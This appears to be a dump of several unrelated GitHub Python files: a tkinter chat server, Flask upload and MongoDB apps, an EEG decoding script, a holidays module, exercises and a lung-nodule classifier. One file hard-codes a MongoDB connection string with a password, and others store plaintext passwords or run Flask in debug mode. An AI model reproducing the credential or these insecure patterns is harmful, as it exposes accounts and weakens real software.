True:\r\n try:\r\n if server_socket:\r\n client = so, (ip, port) = server_socket.accept()\r\n clientlist.append(client)\r\n receive_thread = Thread(target=RecvMessage, args=(so,))\r\n recv_thread_list.append(receive_thread)\r\n receive_thread.daemon = True\r\n receive_thread.start()\r\n \r\n # Отправка сообщения о успешном подключении клиенту\r\n connected_msg = \"You are now connected to the server as \" + uname.get() # Изменилась эта строка\r\n SendServerMessage(\"Server: \" + connected_msg) # Отправить сообщение от сервера клиенту\r\n except OSError:\r\n print(\"Accept Error\")\r\n break\r\n\r\n\r\n\r\n\r\ndef RecvMessage(client_socket):\r\n while True:\r\n try:\r\n message = client_socket.recv(BLFSIZ).decode(\"utf-8\")\r\n if not message:\r\n break\r\n UpdateView(message) # Изменено: вызов функции UpdateView для обновления интерфейса\r\n except ConnectionResetError:\r\n break\r\n client_socket.close()\r\n\r\ndef Broadcast(message, sender_socket):\r\n for client_socket, _ in clientlist:\r\n if client_socket != sender_socket:\r\n try:\r\n client_socket.send(message.encode(\"utf-8\"))\r\n except ConnectionResetError:\r\n continue\r\n\r\ndef UpdateView(message):\r\n msg_list.insert(END, message)\r\n\r\ndef SendMessage(client_socket, message):\r\n try:\r\n client_socket.send(message.encode(\"utf-8\"))\r\n except ConnectionResetError:\r\n pass\r\n\r\ndef SendServerMessage(message):\r\n for client_socket, _ in clientlist:\r\n try:\r\n client_socket.send(message.encode(\"utf-8\"))\r\n except ConnectionResetError:\r\n continue\r\n # После отправки сообщения, обновите интерфейс сервера\r\n UpdateView(message) # Добавьте эту строку\r\n\r\ndef SendServerMessageFromInput():\r\n message_text = message.get(1.0, END) # Получаем текст из виджета сообщения\r\n SendServerMessage(\"Server: \" + message_text) # Отправляем сообщение от сервера\r\n message.delete(1.0, END) # Очищаем виджет сообщения\r\n\r\ndef on_closing():\r\n StopListen()\r\n mainWindow.destroy()\r\n\r\nconn = sqlite3.connect('chat.db')\r\ncur = conn.cursor()\r\nif not cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='messages';\").fetchone():\r\n cur.execute(\"\"\"\r\n CREATE TABLE messages (user TEXT REFERENCES users (user) ON DELETE CASCADE,\r\n messages TEXT NOT NULL, time DATETIME NOT NULL);\r\n \"\"\")\r\n\r\nif not cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='users';\").fetchone():\r\n cur.execute(\"\"\"\r\n CREATE TABLE users (user TEXT UNIQUE, password TEXT NOT NULL);\r\n \"\"\")\r\n\r\nconn.commit()\r\nconn.close()\r\n\r\n# Графический интерфейс\r\nmainWindow = Tk()\r\nmainWindow.title('Chat Application - Server')\r\n\r\nconfigFrame = Frame(mainWindow)\r\n\r\nLabel(configFrame, text=\"My Hostname: \").grid(row=0, column=0)\r\nLabel(configFrame, text=hostname).grid(row=0, column=1)\r\nLabel(configFrame, text='Name').grid(row=0, column=2)\r\nuname = Entry(configFrame, state=\"normal\")\r\nuname.grid(row=0, column=3)\r\nuname.insert(END, \"Host\")\r\n\r\nLabel(configFrame, text=\"My IP: \").grid(row=1, column=0)\r\nLabel(configFrame, text=ip).grid(row=1, column=1)\r\n\r\nLabel(configFrame, text='Port').grid(row=2, column=0)\r\nhost_port = Entry(configFrame)\r\nhost_port.insert(END, '8008')\r\nhost_port.grid(row=2, column=1)\r\n\r\nListenButton = Button(configFrame, text='Listen', width=25, command=Listen)\r\nListenButton.grid(row=2, column=3)\r\n\r\nconfigFrame.grid(row=0)\r\n\r\nmessagesFrame = Frame(mainWindow)\r\nscrollbar = Scrollbar(messagesFrame)\r\n\r\nmsg_list = Listbox(messagesFrame, height=15, width=80, bg=\"silver\", yscrollcommand=scrollbar.set)\r\nmsg_list.insert(0, '- - - - - - Beginning of Chat - - - - - -')\r\nscrollbar.pack(side=RIGHT, fill=Y)\r\nmsg_list.pack(side=LEFT, fill=BOTH)\r\nmsg_list.pack()\r\nmessagesFrame.grid(row=4)\r\n\r\nSendFrame = Frame(mainWindow)\r\nmessage = Text(SendFrame, height=4)\r\nmessage.grid(row=6, column=1)\r\nSendFrame.grid(row=5)\r\n\r\nsendButton = Button(SendFrame, text='Send', width=10, command=SendServerMessageFromInput)\r\nsendButton.grid(row=6, column=2)\r\nsendButton.configure(state='disabled')\r\n\r\nmainWindow.protocol(\"WM_DELETE_WINDOW\", on_closing)\r\nmainWindow.mainloop()\r\n\r\n","repo_name":"apsasinka/python--chat--main","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":9160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32307534987","text":"# import all libraires\nfrom io import BytesIO\nfrom flask import Flask, render_template, request, send_file\nfrom flask_sqlalchemy import SQLAlchemy\n \n# Initialize flask and create sqlite database\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite3'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n \n# create datatable\nclass Upload(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n filename = db.Column(db.String(50))\n data = db.Column(db.LargeBinary)\n \n# Create index function for upload and return files\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n file = request.files['file']\n upload = Upload(filename=file.filename, data=file.read())\n db.session.add(upload)\n db.session.commit()\n return f'Uploaded: {file.filename}'\n return {\"success\":\"true\"}\n \n# create download function for download files\n@app.route('/download/')\ndef download(upload_id):\n upload = Upload.query.filter_by(id=upload_id).first()\n return send_file(BytesIO(upload.data),\n download_name=upload.filename, as_attachment=True)\n\n\napp.run(debug=True) #dont use in production envrionment\n#python console\n#from app import app, db\n#app.app_context().push()\n#db.create_all()\n#exit()","repo_name":"sumaeru/pythonforAnnalectIndia","sub_path":"final/a03websamples/a14fileup.py","file_name":"a14fileup.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26320964097","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 23 10:24:43 2021\n\n@author: hesels\n\"\"\"\n\nimport os\nimport mne\nimport numpy as np\nfrom mne.decoding import (SlidingEstimator, cross_val_multiscore, LinearModel)\n\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom scipy.io import (savemat,loadmat)\n\n\n\nsuj_list = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,\n 21,22,23,24,25,26,27,28,29,30,31,32,33,35,36,38,39,40,\n 41,42,43,44,46,47,48,49,50,51]\n\nfor nsub in range(len(suj_list)):\n \n suj = suj_list[nsub]\n \n dir_dropbox = 'P:/3035002.01/nback/'\n dir_data_in = dir_dropbox + 'virt/'\n dir_data_out = dir_dropbox + 'virt_auc/'\n \n ext_name = dir_data_in + 'sub' + str(suj) + '.wallis'\n fname = ext_name + '.roi.mat' \n ename = ext_name + '.trialinfo.mat'\n print('Handling '+ fname)\n \n epochs_nback = mne.read_epochs_fieldtrip(fname, None, data_name='data', trialinfo_column=0)\n \n allchandata = epochs_nback.get_data() #Get all epochs as a 3D array.\n allevents = loadmat(ename)['index'] \n time_axis = epochs_nback.times\n \n n_trials,n_chs,n_times = allchandata.shape\n ncv = 4\n \n for nchan in range(n_chs):\n \n # Decode stim id\n stim_present = np.unique(allevents[:,2])\n X = allchandata[:,nchan,:]\n X = np.expand_dims(X, axis=1)\n \n for nstim in range(len(stim_present)):\n \n savename = dir_data_out + 'sub' + str(suj) + '.virt.decoding.stim' + str(stim_present[nstim])\n savename = savename + '.chan' + str(nchan+1) + '.cv' + str(ncv) + 'fold.auc.mat'\n \n find_stim = np.squeeze(np.where(allevents[:,2] == stim_present[nstim]))\n \n if np.size(find_stim)>ncv-1:\n if not os.path.exists(savename):\n \n y = np.zeros(np.shape(allevents)[0])\n y[find_stim] = 1\n \n clf = make_pipeline(StandardScaler(), LinearModel(LogisticRegression(solver='lbfgs'))) # define model\n time_decod = SlidingEstimator(clf, n_jobs=1, scoring = 'roc_auc')\n scores = cross_val_multiscore(time_decod, X, y=y, cv = ncv, n_jobs = 1) # crossvalidate\n scores = np.mean(scores, axis=0) # Mean scores across cross-validation splits\n \n savemat(savename, mdict={'scores': scores,'time_axis':time_axis})\n print('\\nsaving '+ savename + '\\n')","repo_name":"elshafeh/own","sub_path":"python/nback_cvdecoding_virt.py","file_name":"nback_cvdecoding_virt.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"5350033447","text":"import argparse\nfrom pathlib import Path\nimport sys\n\nimport ruamel.yaml as yaml\nimport numpy as np\nimport torch\n\nfrom src.util import args_type, recursive_update\nfrom src.cherry_picking import Cherry_Picking_Algo\n\n\ndef main(config):\n Cherry_Picking_Algo.run(config)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--configs\", nargs=\"*\", required=False)\n args, remaining = parser.parse_known_args()\n configs = yaml.safe_load(\n (Path(sys.argv[0]).parent / \"src\" / \"configs.yaml\").read_text()\n )\n\n name_list = [\"defaults\", *args.configs] if args.configs else [\"defaults\"]\n defaults = {}\n for name in name_list:\n recursive_update(defaults, configs[name])\n parser = argparse.ArgumentParser()\n for key, value in sorted(defaults.items(), key=lambda x: x[0]):\n arg_type = args_type(value)\n parser.add_argument(f\"--{key}\", type=arg_type, default=arg_type(value))\n config = parser.parse_args(remaining)\n main(config)","repo_name":"DevinCrowley/cherry_picking","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23820905181","text":"from tests import *\nfrom io import BytesIO\nfrom gzip import GzipFile\n\nrequest_headers = [\n\t'POST /echo HTTP/1.1',\n\t'Accept-Encoding: gzip',\n\t'Content-Type: application/x-www-form-urlencoded'\n]\n\t\ndef run_test():\n\ttest_string_buffer = '0' * 16\n\tfor i in range(16):\n\t\ttest = Tests()\n\t\treq_body = 'x=' + test_string_buffer\n\t\tresponse_line, headers, body = test.do(request_headers + ['Content-Length: %d' % (len(req_body))], req_body)\n\t\t\n\t\tgzipped_output = False\n\t\t\n\t\tfor (k, v) in headers:\n\t\t\tif k.lower() == 'content-encoding' and v.lower().find('gzip') != -1:\n\t\t\t\tgzipped_output = True\n\t\t\t\tbreak\n\t\t\n\t\tif gzipped_output:\n\t\t\tprint('Gzip minimum page size: <= %d' % len(test_string_buffer))\n\t\t\tbreak\n\t\t\n\t\ttest_string_buffer *= 2\n\t\n\tif not gzipped_output:\n\t\treturn\n\t\n\ttry:\n\t\ts = GzipFile('', 'r', 0, BytesIO(body)).read()\n\texcept IOError:\n\t\traise UnitTestError('Server return broken gzipped data')\n\tif str(s.decode('ascii')) != test_string_buffer:\n\t\traise UnitTestError('Strings are not equal')","repo_name":"VladX/OpenTube-Engine.old","sub_path":"tests/encoding_gzip.py","file_name":"encoding_gzip.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"18761539643","text":"#拼接\r\ns = [1, 2, 3]\r\nt = [4, 5, 6]\r\nprint(s + t)\r\nb = [s , t]\r\nprint(b)\r\n\r\n#重复\r\nprint(s * 3)\r\n\r\n#嵌套\r\nlist1 = [[1, 2, 3], [2, 3], [5]]\r\nprint(list1)\r\nlist1 = [[1, 2, 3], \r\n [2 , 3],\r\n [5]]\r\nprint(list1)\r\n\r\n#嵌套重复\r\n#错误的创建\r\nlist1 = [[0] * 3] * 3\r\nlist1[0][0] = 1\r\nprint(list1)\r\n\r\n#正确的创建\r\nlist1 = [0] * 3\r\nfor i in range(len(list1)):\r\n list1[i] = [0] * 3\r\nlist1[0][0] = 1\r\nprint(list1)\r\n\r\n#拷贝\r\n#引用拷贝(仅拷贝地址)\r\nlist1 = [1, 2, 3]\r\nlist2 = list1\r\nlist1[1] = 0\r\nprint(list2)\r\n\r\n#浅拷贝(只拷贝一层)\r\nlist1 = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\r\nlist2 = list1.copy()\r\nlist1[1][1] = 0\r\nprint(list2)\r\n\r\nimport copy\r\nlist1 = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\r\nlist2 = copy.copy(list1)\r\nlist1[1][1] = 0\r\nprint(list2)\r\n\r\n#深拷贝(完全拷贝)\r\nlist1 = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\r\nlist2 = copy.deepcopy(list1)\r\nlist1[1][1] = 0\r\nprint(list2)\r\n\r\n#列表迭代器\r\nlist1 = [i for i in range(10)]\r\nprint(list1)\r\n\r\nlist1 = [ord(i) for i in \"Savet\"]\r\nprint(list1)\r\n\r\n#条件列表迭代器\r\nlist1 = [i for i in range(10) if i % 2 == 0]\r\nprint(list1)\r\n\r\n#嵌套列表迭代器\r\nlist1 = [i * k for i in range(10)\r\n for k in range(2)]\r\nprint(list1)\r\n\r\n#嵌套条件列表迭代器\r\nlist1 = [i * k for i in range(10) if i % 2 == 0\r\n for k in range(4) if k % 2 == 1]\r\nprint(list1)\r\n\r\n#打包与解包\r\nlist1 = [1, 2, 3]\r\nx, y, z = list1\r\nprint(x)\r\nprint(y)\r\nprint(z)\r\n\r\nl = [123, \"Savet\" , 233]\r\nx, *y = l\r\nprint(x) #123\r\nprint(y) #['Savet', 233]","repo_name":"savet-save/python_learn","sub_path":"day4/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19454198589","text":"class Solution():\n \"\"\"\n https://www.codewars.com/kata/542ea700734f7daff80007fc\n\n In this task you have to code process planner.\n\n You will be given initial thing,\n target thing and a set of processes to turn one thing into another\n (in the form of [process_name, start_thing, end_thing]).\n You must return names of shortest sequence of processes to turn initial thing into target thing,\n or empty sequence if it's impossible.\n\n If start already equals end, return [], since no path is required.\n\n Example:\n\n test_processes = [\n ['gather', 'field', 'wheat'],\n ['bake', 'flour', 'bread'],\n ['mill', 'wheat', 'flour']\n ];\n\n processes('field', 'bread', test_processes) # should return ['gather', 'mill', 'bake']\n processes('field', 'ferrari', test_processes) # should return []\n processes('field', 'field', test_processes) # should return [], since no processes are needed\n\n Good luck!\n\n \"\"\"\n\n def __init__(self):\n pass\n\n def processes_01(self, start, end, processes):\n \"\"\"\n hashtab x 2\n \"\"\"\n process_of = {}\n product_of = {}\n\n for process_name, start_thing, end_thing in processes:\n process_of[start_thing] = process_name\n product_of[start_thing] = end_thing\n\n ret = []\n try:\n while start != end:\n ret.append(process_of[start])\n start = product_of[start]\n except KeyError:\n return []\n\n return ret\n\n def processes_02(self, start, end, processes):\n \"\"\"\n hashtab x 1\n \"\"\"\n process_n_product_of = {}\n\n for process_name, start_thing, end_thing in processes:\n process_n_product_of[start_thing] = (process_name, end_thing)\n\n ret = []\n try:\n while start != end:\n process, start = process_n_product_of[start]\n ret.append(process)\n except KeyError:\n return []\n\n return ret\n\n def processes_03(self, start, end, processes):\n \"\"\"\n brute-force\n \"\"\"\n queue = [([], start)]\n while queue:\n path, dest = queue.pop()\n if dest == end:\n return path\n queue += [[path + [p], e] for p, s, e in processes if s == dest]\n return []\n\n\ndef sets_gen(processes):\n import random\n things = 'ABCDEFGHIJKLMNOPQRSTUVWXY'\n others = things.lower()\n processes_ = []\n for start, end in zip('ABCDEFGHIJKLMNOPQRSTUVWXY', 'BCDEFGHIJKLMNOPQRSTUVWXYZ'):\n processes_.append([start + '->' + end, start, end])\n random.shuffle(processes_)\n test_sets = []\n for i in range(1000):\n if random.choice((True, False)):\n start = random.choice(things)\n end = random.choice(things[things.index(start):])\n else:\n start = random.choice(others)\n end = random.choice(others)\n match = processes(start, end, processes_)\n test_sets.append((\n (start, end, processes_),\n match\n ))\n return test_sets\n\n\nif __name__ == '__main__':\n sol = Solution()\n from test_fixture import Test_Fixture\n\n tf = Test_Fixture(sol, sets_gen)\n tf.prep()\n tf.test(prt_docstr=False)\n tf.test_spd(100, prt_docstr=True)\n","repo_name":"8fdafs2/Codewars-Solu-Python","sub_path":"src/kyu5_Processes.py","file_name":"kyu5_Processes.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"11"} +{"seq_id":"33750647265","text":"# python-holidays\n# ---------------\n# A fast, efficient Python library for generating country, province and state\n# specific sets of holidays on the fly. It aims to make determining whether a\n# specific date is a holiday as fast and flexible as possible.\n#\n# Authors: dr-prodigy (c) 2017-2023\n# ryanss (c) 2014-2017\n# Website: https://github.com/dr-prodigy/python-holidays\n# License: MIT (see LICENSE file)\n\nfrom gettext import gettext as tr\n\nfrom holidays.calendars.gregorian import DEC\nfrom holidays.groups import ChristianHolidays, InternationalHolidays\nfrom holidays.observed_holiday_base import ObservedHolidayBase, TUE_TO_PREV_MON, THU_TO_NEXT_FRI\n\n\nclass Hungary(ObservedHolidayBase, ChristianHolidays, InternationalHolidays):\n \"\"\"\n https://en.wikipedia.org/wiki/Public_holidays_in_Hungary\n Codification dates:\n - https://hvg.hu/gazdasag/20170307_Megszavaztak_munkaszuneti_nap_lett_a_nagypentek # noqa\n - https://www.tankonyvtar.hu/hu/tartalom/historia/92-10/ch01.html#id496839\n \"\"\"\n\n country = \"HU\"\n default_language = \"hu\"\n # Day off before\n observed_label_before = tr(\"%s előtti pihenőnap\")\n # Day off after\n observed_label = tr(\"%s utáni pihenőnap\")\n supported_languages = (\"en_US\", \"hu\", \"uk\")\n\n def __init__(self, *args, **kwargs):\n ChristianHolidays.__init__(self)\n InternationalHolidays.__init__(self)\n super().__init__(\n observed_rule=TUE_TO_PREV_MON + THU_TO_NEXT_FRI,\n observed_since=2010,\n *args,\n **kwargs,\n )\n\n def _populate(self, year):\n super()._populate(year)\n\n # New Year's Day.\n name = self.tr(\"Újév\")\n jan_1 = self._add_new_years_day(name)\n if year >= 2014:\n self._add_observed(jan_1)\n\n # The last day of the year is an observed day off if New Year's Day\n # falls on a Tuesday.\n if self.observed and self._is_monday(DEC, 31):\n self._add_holiday_dec_31(self.tr(self.observed_label_before) % name)\n\n if 1945 <= year <= 1950 or year >= 1989:\n # National Day.\n self._add_observed(self._add_holiday_mar_15(tr(\"Nemzeti ünnep\")))\n\n if year >= 2017:\n # Good Friday.\n self._add_good_friday(tr(\"Nagypéntek\"))\n\n # Easter.\n self._add_easter_sunday(tr(\"Húsvét\"))\n\n if year != 1955:\n # Easter Monday.\n self._add_easter_monday(tr(\"Húsvét Hétfő\"))\n\n # Whit Sunday.\n self._add_whit_sunday(tr(\"Pünkösd\"))\n\n if year <= 1952 or year >= 1992:\n # Whit Monday.\n self._add_whit_monday(tr(\"Pünkösdhétfő\"))\n\n if year >= 1946:\n # Labor Day.\n name = tr(\"A Munka ünnepe\")\n self._add_observed(self._add_labor_day(name))\n if 1950 <= year <= 1953:\n self._add_labor_day_two(name)\n\n self._add_observed(\n self._add_holiday_aug_20(\n # Bread Day.\n tr(\"A kenyér ünnepe\")\n if 1950 <= year <= 1989\n else\n # State Foundation Day.\n tr(\"Az államalapítás ünnepe\"),\n )\n )\n\n if year >= 1991:\n # National Day.\n self._add_observed(self._add_holiday_oct_23(tr(\"Nemzeti ünnep\")))\n\n if year >= 1999:\n # All Saints' Day.\n self._add_observed(self._add_all_saints_day(tr(\"Mindenszentek\")))\n\n # Christmas Day.\n self._add_christmas_day(tr(\"Karácsony\"))\n\n if year != 1955:\n # Second Day of Christmas.\n dec_26 = self._add_christmas_day_two(tr(\"Karácsony másnapja\"))\n if year >= 2013:\n self._add_observed(dec_26, rule=THU_TO_NEXT_FRI)\n\n # Soviet era.\n if 1950 <= year <= 1989:\n # Proclamation of Soviet Republic Day.\n self._add_holiday_mar_21(tr(\"A Tanácsköztársaság kikiáltásának ünnepe\"))\n\n # Liberation Day.\n self._add_holiday_apr_4(tr(\"A felszabadulás ünnepe\"))\n\n if year not in {1956, 1989}:\n # Great October Socialist Revolution Day.\n self._add_holiday_nov_7(tr(\"A nagy októberi szocialista forradalom ünnepe\"))\n\n\nclass HU(Hungary):\n pass\n\n\nclass HUN(Hungary):\n pass\n","repo_name":"dr-prodigy/python-holidays","sub_path":"holidays/countries/hungary.py","file_name":"hungary.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"en","doc_type":"code","stars":983,"dataset":"github-code","pt":"11"} +{"seq_id":"26195865746","text":"from flask import Flask, jsonify, Response\nfrom flask_pymongo import MongoClient\nfrom bson import json_util\n\napp = Flask(__name__)\n# app.config[\"MONGO_URI\"] = \"mongodb+srv://m001-student-gm:Admin123@sandboxgm.uufnr.mongodb.net/SandboxGM?retryWrites=true&w=majority\"\nmongo = MongoClient(\"mongodb+srv://m001-student-gm:Admin123@sandboxgm.uufnr.mongodb.net/SandboxGM?retryWrites=true&w=majority\")\n\n# Database\nDatabase = mongo.get_database(\"sample_training\")\n\n# Table\nSampleTable = Database.zips\n\n@app.route(\"/\", methods=['GET'])\ndef get():\n p = SampleTable.find({\"state\":\"NY\"})\n response = json_util.dumps(p)\n return Response(response,mimetype='application/json', status=200)\n # return jsonify(response)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"GeovannyMero/Python","sub_path":"MongoDB_RestAPI/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25844898663","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 23 21:08:19 2017\n\n@author: spanish kagglers\n\"\"\"\n\nimport os\n#os.environ[\"KERAS_BACKEND\"] = \"theano\"\n#os.environ[\"THEANO\"]=\"device=gpu,floatX=float32,dnn.conv.algo_bwd_filter=deterministic,dnn.conv.algo_bwd_data=deterministic;\"\nimport keras.backend as K\nK.set_image_dim_ordering('th') \n\nimport numpy as np # linear algebra\nimport os\nimport shutil\nfrom glob import glob\n\nimport scipy.misc\nimport pickle\n#import json\nimport yaml\n\nfrom collections import Counter\nfrom sklearn.cluster import DBSCAN \n#import cv2\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nimport time\nstart_time = time.time()\n\nimport sys\nsys.path.append(\"../\")\nfrom competition_config import *\nd=nodule_3D_classifier\n\nfrom scipy.spatial.distance import *\n\n\n\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import *\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.layers.convolutional import Convolution3D, MaxPooling3D, ZeroPadding3D\nfrom keras.optimizers import SGD, RMSprop\nfrom keras.utils import np_utils, generic_utils\nfrom keras.layers.advanced_activations import PReLU\nfrom keras.callbacks import EarlyStopping, History, ModelCheckpoint \n\n\nfrom keras.models import Model\nfrom keras.layers import Input, BatchNormalization\n\n#import theano\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n#import cv2\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn import cross_validation\nfrom sklearn import preprocessing\n\nfrom sklearn.metrics import log_loss\nfrom sklearn.metrics import confusion_matrix\n\nimport pandas as pd\n\ntry:\n from tqdm import tqdm\nexcept:\n print('\"pip install tqdm\" to get the progress bar working!')\n tqdm = lambda x: x\n\nimport time\nstart_time = time.time()\n\nfrom util.plot_3d import *\n\nimport seaborn as sns\n\nimport numpy as np\nnp.random.seed(RANDOM_SEED)\nimport random\nrandom.seed(RANDOM_SEED)\n\ndef mad_based_outlier(points, thresh=3.5):\n if len(points.shape) == 1:\n points = points[:,None]\n median = np.median(points, axis=0)\n diff = np.sum((points - median)**2, axis=-1)\n diff = np.sqrt(diff)\n med_abs_deviation = np.median(diff)\n\n modified_z_score = 0.6745 * diff / med_abs_deviation\n\n return modified_z_score > thresh\n \ndef percentile_based_outlier(data, threshold=95):\n diff = (100 - threshold) / 2.0\n minval, maxval = np.percentile(data, [diff, 100 - diff])\n return (data < minval) | (data > maxval)\n\ndef plot(x):\n fig, axes = plt.subplots(nrows=2)\n for ax, func in zip(axes, [percentile_based_outlier, mad_based_outlier]):\n sns.distplot(x, ax=ax, rug=True, hist=False)\n outliers = x[func(x)]\n ax.plot(outliers, np.zeros_like(outliers), 'ro', clip_on=False)\n\n kwargs = dict(y=0.95, x=0.05, ha='left', va='top')\n axes[0].set_title('Percentile-based Outliers', **kwargs)\n axes[1].set_title('MAD-based Outliers', **kwargs)\n fig.suptitle('Comparing Outlier Tests with n={}'.format(len(x)), size=14)\n\n\n\n\n\nreport={\n 'early_stopping_best_epoch':[],\n 'train_scores': [],\n 'val_scores': [],\n\n}\n\nif not os.path.exists(d['OUTPUT_DIRECTORY']):\n os.makedirs(d['OUTPUT_DIRECTORY'])\n\nif 'TEMP_DIRECTORY' in d and not os.path.exists(d['TEMP_DIRECTORY']):\n os.makedirs(d['TEMP_DIRECTORY'])\n\nif not os.path.exists(d['EXECUTION_OUTPUT_DIRECTORY']):\n os.makedirs(d['EXECUTION_OUTPUT_DIRECTORY'])\n\n\ndef copy_to_ramdisk(dashboard_directory_key, ramdisk_directory):\n ramdisk_directory=d['TEMP_DIRECTORY']+ramdisk_directory\n if not os.path.exists(ramdisk_directory):\n print(\"Copying chunks into ramdisk: \", d[dashboard_directory_key], \" --> \", ramdisk_directory)\n shutil.copytree(d[dashboard_directory_key], ramdisk_directory)\n d[dashboard_directory_key]=ramdisk_directory \n\nif d['USE_RAMDISK']:\n print(\"INFO: Using ramdisk\")\n copy_to_ramdisk('BOWL_INPUT_DIRECTORY', '8B-bowl_chunks/')\n copy_to_ramdisk('LUNA_INPUT_DIRECTORY', '9A-augmented_luna_chunks/')\n# copy_to_ramdisk('LUNA_NON_NODULES_INPUT_DIRECTORY', 'LUNA_NON_NODULES/')\n# copy_to_ramdisk('LUNA_OTHER_TISSUES_INPUT_DIRECTORY', 'LUNA_OTHER_TISSUES/')\n\n\n\n\nimg_rows=img_cols=img_depth=chunck_size=d['CHUNK_SIZE'] # ¿X, Y,?, Z\n\n\n\n\n\ndef read_luna_annotations_csv(filename):\n annotations__pd = pd.read_csv(filename, sep=\",\")\n annotations__pd['nodule_id']=[\"ann\"+str(x) for x in annotations__pd.index.values]\n# annotations__pd['nodule_id']=annotations__pd['nodule_id'].index.apply(lambda x: \"ann\"+str(x))\n return annotations__pd\n\nluna_annotations__pd=read_luna_annotations_csv(d['INPUT_LUNA_NODULES_METADATA'])\n\n\nluna_chunks_file_list=sorted(glob(d['LUNA_INPUT_DIRECTORY']+\"*.pickle\"))\nluna_chunks_list=[os.path.basename(x)[:-len(\".pickle\")] for x in luna_chunks_file_list]\nluna_chunks_list_without_augmentation=sorted(set([x.split(CHUNK_VARIATION_SEP)[0] for x in luna_chunks_list]))\nluna_affected_nodules=luna_annotations__pd.loc[luna_annotations__pd['diameter_mm']>=2*d['RADIUS_THRESHOLD_MM']]['nodule_id'].values\nluna_healthy_nodules=[x for x in luna_chunks_list_without_augmentation if x not in luna_affected_nodules]\n#affected_file_list=[d['LUNA_INPUT_DIRECTORY']+x+\".pickle\" for x in luna_chunks_list_without_augmentation if x in affected_nodules]\n#healthy_file_list=[d['LUNA_INPUT_DIRECTORY']+x +\".pickle\"for x in luna_chunks_list_without_augmentation if x not in affected_nodules]\n\n\n\n'''\n _ _ _ _ _ \n | | | | | | | (_) \n __| | __ _| |_ __ _ | | ___ __ _ __| |_ _ __ __ _ \n / _` |/ _` | __/ _` | | |/ _ \\ / _` |/ _` | | '_ \\ / _` |\n | (_| | (_| | || (_| | | | (_) | (_| | (_| | | | | | (_| |\n \\__,_|\\__,_|\\__\\__,_| |_|\\___/ \\__,_|\\__,_|_|_| |_|\\__, |\n __/ |\n |___/ \n\n'''\n\nprint (\"=\"*15 + \"\\n\" + d['CLASSES_TXT'] + \"=\"*15)\n\ndef get_nodules_and_augmentations_dict(directory, nodules_file_list,nodules_dict=None, dataset_ids=None, dataset_X=None,dataset_Y=None,y_value=None, augmentation_sep=CHUNK_VARIATION_SEP, augmentations=True, max_chunks=None):\n num_chuncks=0\n \n for nodule_id in tqdm(nodules_file_list):\n nodule_augmented_chunks_file_list=list(glob(directory+nodule_id+augmentation_sep+\"*.pickle\")) # ¿debería ser random?\n random.shuffle(nodule_augmented_chunks_file_list)\n for input_filename in nodule_augmented_chunks_file_list:\n with open(input_filename, 'rb') as handle:\n nodule_3d = pickle.load(handle, encoding='latin1')\n num_chuncks+=1\n if(chunck_size= max_chunks:\n break\n if max_chunks is not None and num_chuncks >= max_chunks:\n print(\"Reached MAX_CHUNKS_PER_CLASS of \" , max_chunks , \". Stopped.\")\n break\n return num_chuncks\n\nX_tr=[]\nY_tr=[]\n#luna_affected_augmentations={}\n#luna_healthy_augmentations={}\n\n\nif 'CLASS_HIGHER_DIAMETER_NODULES' in d['USE_CLASSES']:\n luna_num_affected_chucks=get_nodules_and_augmentations_dict(d['LUNA_INPUT_DIRECTORY'], luna_affected_nodules, dataset_X=X_tr, dataset_Y=Y_tr, y_value=d['CLASS_HIGHER_DIAMETER_NODULES'], max_chunks=d['MAX_CHUNKS_PER_CLASS'] )\n print(\"\\nCLASS_HIGHER_DIAMETER_NODULES nodules (includes augmentation): \" + str(luna_num_affected_chucks))\n\nif 'CLASS_LOWER_DIAMETER_NODULES' in d['USE_CLASSES']:\n luna_num_healthy_chucks =get_nodules_and_augmentations_dict(d['LUNA_INPUT_DIRECTORY'], luna_healthy_nodules, 